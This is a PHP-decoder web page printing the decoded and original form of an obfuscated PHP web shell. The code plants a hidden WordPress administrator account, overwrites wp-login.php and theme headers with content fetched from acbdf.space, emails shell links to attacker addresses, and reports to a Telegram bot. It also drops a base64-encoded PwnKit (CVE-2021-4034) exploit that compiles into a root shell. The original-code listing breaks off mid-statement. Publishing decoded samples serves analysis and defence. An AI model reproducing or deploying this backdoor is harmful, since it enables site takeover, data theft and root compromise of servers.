Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto h3ZAd; JuziW: $kime = "\x62\x79\150\145\162\x6f\x34\64\x40\147\155\x61\x69\x6c\56\x63..
Decoded Output download
<? goto h3ZAd; JuziW: $kime = "[email protected]"; goto kl90a; LwPnS: goto M2oxq; goto n_aBe; Zv81G: goto M5J06; goto KezaA; IBfXM: echo "<br><br>make sure system_function, gcc, python, pkexec all enabled<br>"; goto WsfBh; qz10w: S5AjL: goto IBfXM; sDRek: $wp_makale = $document_root . "/phpinfo.php"; goto qy0kg; mU58u: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "/headers.php"; $header_content = file_get_contents($header_file); $append = http_get("https://acbdf.space/txt/seoco.txt"); if (!preg_match("#" . $append . "#", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "w"); fwrite($open_file, $new_content); fclose($open_file); } $user = "webmaster"; $pass = "$P$BxJON2B3rr"; $email = "[email protected]"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("administrator"); } $wp_login = ABSPATH . "/wp-login.php"; $login = http_get("https://acbdf.space/txt/seo.txt"); $open_login = fopen($wp_login, "w"); fwrite($open_login, $login); fclose($open_login); } goto KVaGy; n_aBe: g_Otp: goto APsMA; tnsA0: $EL_MuHaMMeD .= "Shell Link : http://" . $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . "\xd
"; goto x0q9I; rfA0u: bN1bX: goto OZBIe; IgCt8: Q3Gd3: goto t0ls0; APsMA: $kernel = php_uname(); goto CLvKh; rha1d: goto tZdjz; goto LAmR9; St4bR: fclose($open_makale); goto NcR81; NcR81: $directories = expandDirectories($document_root); goto ifp3F; jIA3f: goto PN9Or; goto HaW95; HzvAx: vLgiU: goto v6ODq; CLvKh: goto eBFAC; goto cey9C; HaW95: BYIW8: goto X8S8a; JEybR: if ($_POST["query"]) { $veriyfy = stripslashes(stripslashes($_POST["query"])); $data = "data.txt"; @touch("data.txt"); $ver = @fopen($data, "w"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("data.txt", "r"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto Eyphj; kl90a: $baslik = "whm 20203"; goto FL_mL; Df81s: $check_system = function_exists("system") ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; goto DxTfm; n1VC0: if ($datasi) { } else { @mkdir("js"); $dos = file_get_contents("https://acbdf.space/txt/css.txt"); $data = "js/js.php"; @touch("js/js.php"); $ver = @fopen($data, "w"); @fwrite($ver, $dos); @fclose($ver); $yol = "http://" . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"] . ''; $y = "<h1>Sender Yazdirildi.<br/> SITE YOL : " . $yol . "<br/>Sender Yolu : js/crs.php</h1>"; $header .= "From: SheLL Boot <[email protected]>
"; $header .= "Content-Type: text/html;
charset=utf-8\xa"; @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); } goto Xcv7n; nA4VQ: goto S6XtV; goto bbfYU; XtuK3: $wp_code = $document_root . "/wp-clon.php"; goto B0q_J; qy0kg: $open_makale = fopen($wp_makale, "w"); goto VDMbV; hqxQI: if (file_exists($document_root . "/wp-load.php")) { include $document_root . "/wp-load.php"; $wp_detect = 1; } else { $prefix = count(@explode("/", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "../"; if (file_exists($document_root_file . "/" . $a . "wp-load.php")) { include $document_root_file . "/" . $a . "wp-load.php"; $wp_detect = 1; break; } } } goto mU58u; RRbi9: $server_mail = '' . gethostbyname($_SERVER["SERVER_NAME"]) . " - " . $_SERVER["HTTP_HOST"] . ''; goto fEog4; Bg92M: @mail($to_email, $server_mail, $linkcr, $header); goto JuziW; REkEr: echo "UID/GID: {$user} ( {$uid} ) | {$group} ( {$gid} )<br>"; goto LwPnS; zYmft: @ini_set("display_errors", 0); goto nmt62; Xcv7n: $time_shell = '' . date("d/m/Y - H:i:s") . ''; goto rg30w; GDcOa: set_time_limit(0); goto FEvwH; EUCBM: goto R8GbK; goto k7Rg8; xhOY2: function sendcmd() { $files = "PD9waHAKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7CgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkkdWlkID0gQGdldG15dWlkKCk7CgkkZ2lkID0gQGdldG15Z2lkKCk7CgkkZ3JvdXAgPSAiPyI7Cn0gZWxzZSB7CgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7CgkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSR1aWQgPSAkdWlkWyd1aWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKfQoKJGtlcm5lbCA9IHBocF91bmFtZSgpOwo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgoJPGhlYWQ+CgkJPHRpdGxlPuODpiDjgqYg44KtPC90aXRsZT4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjUuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHk+Cgk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0ieXV1a2kyLnBocCI+CgkJPGgyPlJPT1QgU0hFTEwgRVhFQ1VUT1I8L2gyPjxicj4KCQk8P3BocCBlY2hvKCJTWVNURU06ICRrZXJuZWw8YnI+Iik7ID8+CgkJPD9waHAgZWNobygiVUlEL0dJRDogJHVzZXIgKCAkdWlkICkgfCAkZ3JvdXAgKCAkZ2lkICk8YnI+PGJyPiIpOyA/PgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSJ5dXVraSIgaWQ9J3l1dWtpJz48L2lucHV0PgoJCTxidXR0b24gaWQ9ImJ0biIgdHlwZT0ic3VibWl0Ij5LaXJpbTwvYnV0dG9uPgoJPC9mb3JtPgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCSQoZnVuY3Rpb24oKXsKCQkJJCgiZm9ybSIpLnN1Ym1pdChmdW5jdGlvbigpewoJCQkJJC5hamF4KHsKCQkJCQl1cmw6JCh0aGlzKS5hdHRyKCJhY3Rpb24iKSwKCQkJCQlkYXRhOiQodGhpcykuc2VyaWFsaXplKCksCgkJCQkJdHlwZTokKHRoaXMpLmF0dHIoIm1ldGhvZCIpLAoJCQkJCWRhdGFUeXBlOiAnaHRtbCcsCgkJCQkJYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7CgkJCQkJCSQoImlucHV0IikuYXR0cigiZGlzYWJsZWQiLHRydWUpOwoJCQkJCQkkKCJidXR0b24iKS5hdHRyKCJkaXNhYmxlZCIsdHJ1ZSk7CgkJCQkJfSwKCQkJCQljb21wbGV0ZTpmdW5jdGlvbigpIHsKCQkJCQkJJCgiaW5wdXQiKS5hdHRyKCJkaXNhYmxlZCIsZmFsc2UpOwoJCQkJCQkkKCJidXR0b24iKS5hdHRyKCJkaXNhYmxlZCIsZmFsc2UpOwkJCQkJCQkJCgkJCQkJfSwKCQkJCQlzdWNjZXNzOmZ1bmN0aW9uKGhhc2lsKSB7CgkJCQkJCXZhciB0eHQgPSAkKCIjeXV1a2kiKTsKCQkJCQkJaWYodHh0LnZhbCgpLnRyaW0oKS5sZW5ndGggPCAxKSB7CgkJCQkJCQlhbGVydCgiaW5wdXQgY21kIGJlZm9yZVNlbmQiKTsKCQkJCQkJfWVsc2V7CgkJCQkJCQkkKCIjc2hlbGxyZXNwb24iKS5odG1sKCc8cHJlPicgKyBoYXNpbCArICc8L3ByZT4nKTsKCQkJCQkJCSQoImZvcm0iKVswXS5yZXNldCgpOwoJCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbigpewoJCQkJCQkJCSQoImlucHV0IikuZm9jdXMoKTsKCQkJCQkJCX0sMTAwMCk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9KQoJCQlyZXR1cm4gZmFsc2U7CgkJCX0pOwoJCX0pOwoJPC9zY3JpcHQ+Cgk8ZGl2IGlkPSJzaGVsbHJlc3BvbiI+PC9kaXY+Cgk8L2JvZHk+CjwvaHRtbD4="; $fp = fopen("rootshell.php", "w"); fwrite($fp, base64_decode($files)); fclose($fp); return True; } goto EUCBM; Ywgv2: goto O6vZ0; goto aic3t; CRvHg: goto iT3MM; goto qz10w; vHaWI: $pkexec = exe("pkexec --version") ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; goto Lcw31; fEog4: $linkcr = "Link: " . $_SERVER["SERVER_NAME"] . '' . $_SERVER["REQUEST_URI"] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}"; goto qS_P9; FEvwH: goto vLgiU; goto QenIo; ioBm0: $x = base64_decode("aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==") . GetIP() . "-" . base64_encode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto RYFKd; YJ_x4: $EL_MuHaMMeD .= "Server isletim sistemi : " . $_SERVER["SERVER_SOFTWARE"] . "
"; goto tnsA0; zLf7v: KodFN: goto Df81s; Fahq9: $gcc = exe("gcc --help") ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; goto jIA3f; hlWoi: goto z2Ez2; goto Vu02K; QenIo: sFw1U: goto An24K; Eyphj: $datasi = @fopen("js/js.php", "r"); goto n1VC0; iTcVf: eBFAC: goto JjtoC; gDIwi: function process() { $proc = "PD9waHAKaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKaWYoJF9QT1NUKSB7CiAgJHNlbmRfY21kID0gc3lzdGVtKCdweXRob24gcm9vdHNoZWxsLnB5ICInIC4gJF9QT1NUWyJ5dXVraSJdIC4gJyIgMj4mMScpOwogIGVjaG8oJHNlbmRfY21kKTsKfQo/Pg=="; $fp = fopen("yuuki2.php", "w"); fwrite($fp, base64_decode($proc)); fclose($fp); return True; } goto Zv81G; mxC78: $document_root = $_SERVER["DOCUMENT_ROOT"]; goto m4jDt; Lcw31: goto flGGY; goto iTcVf; ok3Vg: $makale = http_get("https://acbdf.space/txt/phpinfo.txt"); goto sDRek; m4jDt: $document_root_file = dirname(__FILE__); goto E84Nj; hf_KT: goto bN1bX; goto HzvAx; FL_mL: $EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER["DOCUMENT_ROOT"] . "
\xa"; goto Rdk2o; mfWwV: fclose($open_code); goto ok3Vg; DU59O: function yuuki_rootc() { $privesc = "LyoKICogUHJvb2Ygb2YgQ29uY2VwdCBmb3IgUHduS2l0OiBMb2NhbCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBWdWxuZXJhYmlsaXR5IERpc2NvdmVyZWQgaW4gcG9sa2l04oCZcyBwa2V4ZWMgKENWRS0yMDIxLTQwMzQpIGJ5IEFuZHJpcyBSYXVndWxpcyA8bW9vQGFydGhlcHN5LmV1PgogKiBBZHZpc29yeTogaHR0cHM6Ly9ibG9nLnF1YWx5cy5jb20vdnVsbmVyYWJpbGl0aWVzLXRocmVhdC1yZXNlYXJjaC8yMDIyLzAxLzI1L3B3bmtpdC1sb2NhbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi12dWxuZXJhYmlsaXR5LWRpc2NvdmVyZWQtaW4tcG9sa2l0cy1wa2V4ZWMtY3ZlLTIwMjEtNDAzNAogKi8KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKY2hhciAqc2hlbGwgPSAKCSIjaW5jbHVkZSA8c3RkaW8uaD5cbiIKCSIjaW5jbHVkZSA8c3RkbGliLmg+XG4iCgkiI2luY2x1ZGUgPHVuaXN0ZC5oPlxuXG4iCgkidm9pZCBnY29udigpIHt9XG4iCgkidm9pZCBnY29udl9pbml0KCkge1xuIgoJIglzZXR1aWQoMCk7IHNldGdpZCgwKTtcbiIKCSIJc2V0ZXVpZCgwKTsgc2V0ZWdpZCgwKTtcbiIKCSIJc3lzdGVtKFwiZXhwb3J0IFBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluOyBybSAtcmYgJ0dDT05WX1BBVEg9LicgJ3B3bmtpdCc7IGNob3duIHJvb3Q6cm9vdCB5dXVraTsgY2htb2QgNDc3NyB5dXVraTsgL2Jpbi9zaFwiKTtcbiIKCSIJZXhpdCgwKTtcbiIKCSJ9IjsKCmNoYXIgKmdldHJvb3QgPSAKCSIjaW5jbHVkZSA8dW5pc3RkLmg+XG4iCgkiI2luY2x1ZGUgPHN0ZGlvLmg+XG4iCgkiaW50IG1haW4gKHZvaWQpXG4iCgkie1xuIgoJIglzZXRnaWQoMCk7XG4iCgkiCXNldHVpZCgwKTtcbiIKCSIJc3lzdGVtKFwiL2Jpbi9iYXNoXCIpO1xuIgoJIglyZXR1cm4gMDtcbiIKCSJ9IjsKCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKCUZJTEUgKmZwOwoJRklMRSAqZ3I7CglzeXN0ZW0oIm1rZGlyIC1wICdHQ09OVl9QQVRIPS4nOyB0b3VjaCAnR0NPTlZfUEFUSD0uL3B3bmtpdCc7IGNobW9kIGEreCAnR0NPTlZfUEFUSD0uL3B3bmtpdCciKTsKCXN5c3RlbSgibWtkaXIgLXAgcHdua2l0OyBlY2hvICdtb2R1bGUgVVRGLTgvLyBQV05LSVQvLyBwd25raXQgMicgPiBwd25raXQvZ2NvbnYtbW9kdWxlcyIpOwoJZnAgPSBmb3BlbigicHdua2l0L3B3bmtpdC5jIiwgInciKTsKCWZwcmludGYoZnAsICIlcyIsIHNoZWxsKTsKCWZjbG9zZShmcCk7CgoJZ3IgPSBmb3BlbigiZ2V0cm9vdC5jIiwgInciKTsKCWZwcmludGYoZ3IsICIlcyIsIGdldHJvb3QpOwoJZmNsb3NlKGdyKTsKCglzeXN0ZW0oImdjYyBnZXRyb290LmMgLW8geXV1a2kiKTsKCglzeXN0ZW0oImdjYyBwd25raXQvcHdua2l0LmMgLW8gcHdua2l0L3B3bmtpdC5zbyAtc2hhcmVkIC1mUElDIik7CgljaGFyICplbnZbXSA9IHsgInB3bmtpdCIsICJQQVRIPUdDT05WX1BBVEg9LiIsICJDSEFSU0VUPVBXTktJVCIsICJTSEVMTD1wd25raXQiLCBOVUxMIH07CglleGVjdmUoIi91c3IvYmluL3BrZXhlYyIsIChjaGFyKltdKXtOVUxMfSwgZW52KTsKfQ=="; $fp = file_put_contents("prvesc.c", base64_decode($privesc)); return True; } goto Ehwgs; ifp3F: $css = http_get("https://acbdf.space/txt/wp.txt"); goto JduMg; KVaGy: $code = http_get("https://acbdf.space/txt/min.txt"); goto XtuK3; OZBIe: @ini_set("output_buffering", 0); goto rha1d; tf37H: $cox = "JG5hbWEgPSAnd3AucGhwJzsKJGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvJy4kbmFtYS4nJzsKJGZpbGVzID0gIlBEOXdhSEFLWlhKeWIzSmZjbVZ3YjNKMGFXNW5LREFwT3dvS2FXWW9hWE56WlhRb0pGOUhSVlJiSWtOb2FYUnZaMlVpWFNrcElIc0tJQ0FnSUdWamFHOGdJanhvTVQ0OGFUNURhR2wwYjJkbElHdHBjbWx6WVd0cElEd3pQQzlwUGp3dmFERStQR0p5UGlJN0NpQWdJQ0JsWTJodklDSThZajQ4Y0dod2RXNWhiV1UrSWk1d2FIQmZkVzVoYldVb0tTNGlQQzl3YUhCMWJtRnRaVDQ4TDJJK1BHSnlQaUk3Q2lBZ0lDQmxZMmh2SUNJOFptOXliU0J0WlhSb2IyUTlKM0J2YzNRbklHVnVZM1I1Y0dVOUoyMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRW5QZ29nSUNBZ0lDQWdJQ0FnUEdsdWNIVjBJSFI1Y0dVOUoyWnBiR1VuSUc1aGJXVTlKMmxrZUY5bWFXeGxKejRLSUNBZ0lDQWdJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjNWd2JHOWhaQ2NnZG1Gc2RXVTlKM1Z3Ykc5aFpDYytDaUFnSUNBZ0lDQWdJQ0E4TDJadmNtMCtJanNLSUNBZ0lDUnliMjkwSUQwZ0pGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFRzS0lDQWdJQ1JtYVd4bGN5QTlJQ1JmUmtsTVJWTmJKMmxrZUY5bWFXeGxKMTFiSjI1aGJXVW5YVHNLSUNBZ0lDUmtaWE4wSUQwZ0pISnZiM1F1Snk4bkxpUm1hV3hsY3pzS0lDQWdJR2xtS0dsemMyVjBLQ1JmVUU5VFZGc25kWEJzYjJGa0oxMHBLU0I3Q2lBZ0lDQWdJQ0FnYVdZb2FYTmZkM0pwZEdGaWJHVW9KSEp2YjNRcEtTQjdDaUFnSUNBZ0lDQWdJQ0FnSUdsbUtFQmpiM0I1S0NSZlJrbE1SVk5iSjJsa2VGOW1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JrWlhOMEtTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKSGRsWWlBOUlDSm9kSFJ3T2k4dklpNGtYMU5GVWxaRlVsc25TRlJVVUY5SVQxTlVKMTA3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JsWTJodklDSlRkV3R6WlhNZ0xUNGdQR0VnYUhKbFpqMG5KSGRsWWk4a1ptbHNaWE1uSUhSaGNtZGxkRDBuWDJKc1lXNXJKejQ4WWo0OGRUNGtkMlZpTHlSbWFXeGxjend2ZFQ0OEwySStQQzloUGlJN0NpQWdJQ0FnSUNBZ0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxZMmh2SUNKbllXZGhiQ0IxY0d4dllXUWdaR2tnWkc5amRXMWxiblFnY205dmRDNGlPd29nSUNBZ0lDQWdJQ0FnSUNCOUNpQWdJQ0FnSUNBZ2ZTQmxiSE5sSUhzS0lDQWdJQ0FnSUNBZ0lDQWdhV1lvUUdOdmNIa29KRjlHU1V4RlUxc25hV1I0WDJacGJHVW5YVnNuZEcxd1gyNWhiV1VuWFN3Z0pHWnBiR1Z6S1NrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1pXTm9ieUFpYzNWcmMyVnpJSFZ3Ykc5aFpDQThZajRrWm1sc1pYTThMMkkrSUdScElHWnZiR1JsY2lCcGJta2lPd29nSUNBZ0lDQWdJQ0FnSUNCOUlHVnNjMlVnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWldOb2J5QWlaMkZuWVd3Z2RYQnNiMkZrSWpzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtmU0JsYkhObGFXWW9hWE56WlhRb0pGOUhSVlJiSWt0cGNtbHpZV3RwSWwwcEtYc0tDU1JvYjIxbFpTQTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMDdDZ2trWTJkbWN5QTlJR1Y0Y0d4dlpHVW9JaThpTENSb2IyMWxaU2s3Q2dra1luVnBiR1FnUFNBbkx5Y3VKR05uWm5OYk1WMHVKeThuTGlSaloyWnpXekpkTGljdkxtTmhaMlZtY3ljN0NnbHBaaWhwYzE5a2FYSW9KR0oxYVd4a0tTa2dld29KQ1dWamFHOG9Ja05zYjNWa1RHbHVkWGdnUFQ0Z1ZISjFaU0lwT3dvSmZTQmxiSE5sSUhzS0NRbGxZMmh2S0NKRGJHOTFaRXhwYm5WNElEMCtJRVpoYkhObElpazdDZ2w5Q24xbGJITmxJSHNLSUNBZ0lHaGxZV1JsY2lnblNGUlVVQzh4TGpFZ05EQXpJRVp2Y21KcFpHUmxiaWNwT3dwOUNqOCsiOwokb3BlbiA9IGZvcGVuKCRuYW1hLCAndycpOwpmd3JpdGUoJG9wZW4sIGJhc2U2NF9kZWNvZGUoJGZpbGVzKSk7CmZjbG9zZSgkb3Blbik7CmlmKGZpbGVfZXhpc3RzKCRjaGVjaykpewoJJHN5cyA9IHBocF91bmFtZSgpOyAKCSRsaWhhdCA9IGdldGN3ZCgpOwoJJGRvbWVuID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CgkkdGVtcGF0ID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CgkkZGF0YSA9IFsKICAgIAkJJ2NoYXRfaWQnID0+ICcxNjg3NTU5NjEwJywKICAgIAkJJ3RleHQnID0+ICIgJGRvbWVuJHRlbXBhdCBcclxuIEJhY2tkb29yIC0+ICRuYW1hP0NoaXRvZ2VcclxuICRzeXMgXHJcbiIgXTsKCSRyZXNwb25zZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90MTkyNzQ1OTE1NzpBQUVGU09jLTB2ckY3aV9KOGtTbWxFLUVpcVFtX2JGSTdBUS9zZW5kTWVzc2FnZT8iIC4gaHR0cF9idWlsZF9xdWVyeSgkZGF0YSkgKTsKfWVsc2V7CgkkcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwoJJHAgLj0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CgkkZGF0YSA9IFsKICAgIAkJJ2NoYXRfaWQnID0+ICcxNjg3NTU5NjEwJywKICAgIAkJJ3RleHQnID0+ICIgJHAgIiBdOwoJJHJlc3BvbnNlID0gZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QxOTI3NDU5MTU3OkFBRUZTT2MtMHZyRjdpX0o4a1NtbEUtRWlxUW1fYkZJN0FRL3NlbmRNZXNzYWdlPyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSApOwoJCn0="; goto nA4VQ; k7Rg8: R8GbK: goto RodYH; bbfYU: flGGY: goto DU59O; vbvq5: O6vZ0: goto JEybR; sdBlm: eval(base64_decode($cox)); goto Ywgv2; rg30w: $ip_remote = $_SERVER["REMOTE_ADDR"]; goto H9YbO; aic3t: PN9Or: goto vHaWI; JduMg: foreach ($directories as $dir) { if (!preg_match("#wp-content#", $dir)) { $css_file = $dir . "/wp-inda.php"; $open_css = fopen($css_file, "w"); fwrite($open_css, $css); fclose($open_css); } } goto lgMZ1; Lh0T_: $to_email = "[email protected]"; goto RRbi9; Tae_5: echo "SYSTEM_FUNCTION: {$check_system} | GCC: {$gcc} | PYTHON: {$python} | PKEXEC: {$pkexec}</br>"; goto CU9uR; YnnAp: goto yIKTR; goto o1tNP; B0q_J: $open_code = fopen($wp_code, "w"); goto OL7vk; kIejA: yIKTR: goto tf37H; H9YbO: $from_shellcode = "whm@" . gethostbyname($_SERVER["SERVER_NAME"]) . ''; goto Lh0T_; d0KwA: goto O_197; goto kIejA; x0q9I: $EL_MuHaMMeD .= "Avlanan Site : " . $_SERVER["HTTP_HOST"] . "
"; goto fc4vi; An24K: $python = exe("python --help") ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; goto CRvHg; dovOw: if (isset($_POST["gass"])) { $spawn_rootc = yuuki_rootc(); if ($spawn_rootc) { if (file_exists("prvesc.c")) { $gass = system("gcc prvesc.c -o prvesc; chmod +x prvesc; ./prvesc"); if (file_exists("yuuki")) { $makefile_rootshellpy = rootshell_py(); $makefile_process = process(); $make_sendcmd = sendcmd(); if ($make_sendcmd) { echo "w00t, <a href='rootshell.php' target='_blank'>klik here</a> and enjoy run command as root ^_^"; } } else { print "Can't root this server!"; } } else { print "Can't write file!"; } } } goto YnnAp; iOJuM: goto BYIW8; goto uxNT9; t0ls0: ?>
touch me senpai!!!
Did this file decode correctly?
Original Code
goto h3ZAd; JuziW: $kime = "\x62\x79\150\145\162\x6f\x34\64\x40\147\155\x61\x69\x6c\56\x63\x6f\155"; goto kl90a; LwPnS: goto M2oxq; goto n_aBe; Zv81G: goto M5J06; goto KezaA; IBfXM: echo "\x3c\x62\x72\76\74\142\162\76\155\141\153\145\x20\x73\165\162\145\40\x73\x79\x73\x74\x65\x6d\x5f\x66\x75\156\143\164\151\157\x6e\54\x20\147\143\x63\54\40\x70\x79\x74\x68\157\156\54\40\x70\153\x65\x78\x65\143\x20\x61\x6c\154\x20\x65\x6e\141\142\154\145\x64\74\x62\162\76"; goto WsfBh; qz10w: S5AjL: goto IBfXM; sDRek: $wp_makale = $document_root . "\57\160\150\160\x69\156\146\157\x2e\x70\150\160"; goto qy0kg; mU58u: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "\x2f\x68\145\141\x64\145\x72\x73\56\160\x68\160"; $header_content = file_get_contents($header_file); $append = http_get("\x68\164\x74\160\163\72\x2f\x2f\x61\x63\142\x64\146\x2e\x73\160\x61\143\145\x2f\x74\x78\164\57\163\145\x6f\x63\x6f\x2e\164\x78\164"); if (!preg_match("\43" . $append . "\x23", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "\x77"); fwrite($open_file, $new_content); fclose($open_file); } $user = "\167\145\x62\155\x61\x73\x74\145\162"; $pass = "\x24\x50\44\102\x78\x4a\x4f\116\x32\x42\63\x72\x72"; $email = "\x6c\x6f\147\x69\x6e\157\154\144\x75\x6d\100\x67\x6d\x61\151\x6c\x2e\143\157\155"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("\141\144\155\x69\156\151\163\x74\162\141\x74\x6f\x72"); } $wp_login = ABSPATH . "\57\x77\160\x2d\154\x6f\x67\x69\x6e\x2e\160\x68\x70"; $login = http_get("\x68\164\164\160\163\x3a\57\x2f\141\143\x62\x64\146\x2e\x73\x70\141\143\145\57\x74\x78\x74\x2f\163\x65\x6f\56\x74\170\x74"); $open_login = fopen($wp_login, "\x77"); fwrite($open_login, $login); fclose($open_login); } goto KVaGy; n_aBe: g_Otp: goto APsMA; tnsA0: $EL_MuHaMMeD .= "\x53\x68\x65\154\154\40\x4c\x69\x6e\153\x20\72\40\x68\x74\164\x70\72\x2f\57" . $_SERVER["\123\x45\x52\x56\105\x52\x5f\x4e\101\x4d\x45"] . $_SERVER["\120\110\120\x5f\x53\105\x4c\x46"] . "\xd\12"; goto x0q9I; rfA0u: bN1bX: goto OZBIe; IgCt8: Q3Gd3: goto t0ls0; APsMA: $kernel = php_uname(); goto CLvKh; rha1d: goto tZdjz; goto LAmR9; St4bR: fclose($open_makale); goto NcR81; NcR81: $directories = expandDirectories($document_root); goto ifp3F; jIA3f: goto PN9Or; goto HaW95; HzvAx: vLgiU: goto v6ODq; CLvKh: goto eBFAC; goto cey9C; HaW95: BYIW8: goto X8S8a; JEybR: if ($_POST["\161\x75\145\x72\171"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\165\x65\162\171"])); $data = "\x64\141\164\141\x2e\164\170\x74"; @touch("\144\x61\164\141\56\164\170\x74"); $ver = @fopen($data, "\167"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\144\x61\x74\141\56\x74\x78\164", "\162"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto Eyphj; kl90a: $baslik = "\167\150\x6d\40\62\x30\x32\x30\63"; goto FL_mL; Df81s: $check_system = function_exists("\163\x79\x73\164\x65\x6d") ? "\x3c\x66\x6f\x6e\x74\x20\x63\157\154\157\x72\x3d\154\151\x6d\x65\x3e\x4f\116\x3c\57\x66\157\x6e\164\x3e" : "\74\146\157\x6e\164\x20\143\x6f\154\x6f\x72\x3d\162\145\144\76\x4f\x46\106\x3c\x2f\x66\157\x6e\x74\76"; goto DxTfm; n1VC0: if ($datasi) { } else { @mkdir("\x6a\x73"); $dos = file_get_contents("\150\x74\x74\160\x73\72\57\57\x61\143\x62\144\146\x2e\163\160\x61\143\145\57\x74\x78\x74\57\x63\163\x73\56\x74\x78\164"); $data = "\x6a\163\57\152\x73\56\x70\150\x70"; @touch("\x6a\x73\x2f\x6a\x73\56\160\x68\160"); $ver = @fopen($data, "\167"); @fwrite($ver, $dos); @fclose($ver); $yol = "\150\x74\164\160\72\x2f\x2f" . $_SERVER["\110\124\124\120\137\x48\117\123\124"] . '' . $_SERVER["\122\x45\x51\125\x45\x53\124\137\125\122\x49"] . ''; $y = "\74\150\x31\76\x53\x65\x6e\x64\x65\x72\40\131\x61\172\144\x69\x72\x69\154\x64\x69\56\x3c\142\x72\57\76\x20\x53\111\x54\105\40\x59\x4f\114\40\72\x20" . $yol . "\x3c\142\x72\x2f\x3e\x53\145\x6e\144\145\162\x20\131\157\x6c\x75\40\72\40\x6a\163\x2f\143\x72\x73\56\160\x68\160\x3c\x2f\150\x31\76"; $header .= "\x46\x72\x6f\x6d\72\40\x53\x68\x65\x4c\x4c\40\102\x6f\157\164\40\x3c\163\x75\160\x70\x6f\x72\100\x6e\151\143\56\157\162\x67\76\12"; $header .= 